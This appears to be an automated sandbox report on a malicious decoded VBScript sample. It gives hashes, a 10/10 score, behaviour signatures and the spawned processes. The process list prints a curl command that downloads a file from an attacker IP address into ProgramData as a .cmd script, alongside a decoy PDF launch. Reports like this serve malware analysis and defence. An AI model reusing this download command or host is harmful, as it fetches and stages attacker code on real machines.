Analysis

  • max time kernel
    66s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/02/2023, 22:53

General

  • Target
    vbs-decoded-1.vbs
  • Size 1KB
  • Sample230202-2va6vsbh7z
  • SHA256 90b2ab478dc13eee0eec81492eb6f5901e0f39d9aeb1cbc13e20a64b3bdda9fa
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\vbs-decoded-1.vbs"
    1⤵
    • Blocklisted process makes network request
    PID:3476
  • C:\Windows\system32\curl.exe
    curl.exe http://87.251.67.221/SCRIPY.dsdds -o C:/ProgramData/niti.cmd
    1⤵
    • Process spawned unexpected child process
    PID:4788
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell.exe Start-Process C:/ProgramData/business-insurance-claim-tips.pdf
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2904

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/2904-132-0x00000213484D0000-0x00000213484F2000-memory.dmp

        memory/2904-133-0x00007FF896510000-0x00007FF896FD1000-memory.dmp